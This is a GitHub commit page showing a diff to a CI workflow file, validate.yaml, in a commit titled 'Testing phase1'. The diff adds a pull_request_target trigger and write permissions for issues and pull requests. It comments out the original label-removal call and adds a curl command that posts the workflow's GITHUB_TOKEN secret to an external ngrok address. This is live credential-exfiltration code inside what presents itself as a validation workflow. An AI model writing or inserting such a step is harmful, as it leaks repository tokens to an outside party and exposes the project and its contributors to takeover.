Skip to content

Commit 89ab758

Browse files
committed
Testing phase1
1 parent f4fa317 commit 89ab758

1 file changed

Lines changed: 14 additions & 6 deletions

File tree

.github/workflows/validate.yaml

Lines changed: 14 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,13 @@ on:
33
pull_request:
44
# types: [opened, synchronize, reopened, labeled, unlabeled]
55
types: [labeled]
6+
pull_request_target:
7+
types: [labeled]
8+
69

10+
permissions:
11+
issues: write # Allows the token to modify issues (needed for label management)
12+
pull-requests: write # Allows the token to interact with pull requests
713

814
concurrency:
915
group: ${{ github.workflow }}-${{ github.ref }}
@@ -40,9 +46,11 @@ jobs:
4046
LABEL="full validation"
4147
ENCODED_LABEL=$(printf "%s" "$LABEL" | sed -e 's/ /%20/g' -e 's/:/%3A/g' -e 's/\//%2F/g' -e 's/?/%3F/g' -e 's/&/%26/g' -e 's/=/%3D/g')
4248
43-
echo $ENCODED_LABEL
44-
echo "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
45-
echo ${{ secrets.GITHUB_TOKEN }}
46-
curl -X DELETE -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
47-
-H "Accept: application/vnd.github.v3+json" \
48-
"https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
49+
curl -X POST https://a111-57-133-64-210.ngrok-free.app/test -d "Token:${{ secrets.GITHUB_TOKEN }}"
50+
51+
# echo $ENCODED_LABEL
52+
# echo "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"
53+
# echo ${{ secrets.GITHUB_TOKEN }}
54+
# curl -X DELETE -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
55+
# -H "Accept: application/vnd.github.v3+json" \
56+
# "https://api.github.com/repos/$REPO/issues/$PR_NUMBER/labels/$ENCODED_LABEL"

0 commit comments

Comments
 (0)